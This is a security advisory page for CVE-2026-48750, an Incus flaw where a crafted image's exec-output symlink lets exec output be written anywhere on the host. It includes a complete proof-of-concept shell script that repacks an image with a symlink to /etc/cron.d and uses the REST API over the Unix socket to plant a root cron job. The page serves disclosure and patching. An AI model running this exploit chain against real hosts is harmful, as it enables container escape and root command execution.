CVE-2026-48750: Incus has an arbitrary file write on host via `exec-output` symlink in crafted image
Summary The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Published Jun 26, 2026
Affected packages
github.com/lxc/incus/v7/cmd/incusd
- Ecosystem
- Go
- Affected
- < 7.2.0
- Fixed in
- 7.2.0
- Check
go list -m github.com/lxc/incus/v7/cmd/incusd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Credited to antifob, stgraber.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-48749
Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
critical9.9Jun 26, 2026CVE-2026-48751
Incus has a restricted project bypass leading to arbitrary command execution
critical9.9Jun 26, 2026CVE-2026-48752
Incus has arbitrary file read+write on host via templates/ symlink in malicious image
critical9.9Jun 26, 2026CVE-2026-48753
Incus has an arbitrary file write via path traversal in S3 multipart upload
critical9.9Jun 26, 2026CVE-2026-48755
Incus has an argument injection in backup compression algorithm leading to AFW and ACE
critical9.9Jun 26, 2026CVE-2026-48769
Incus has an arbitrary file write on its client due to trusted image hash
critical9.9Jun 26, 2026
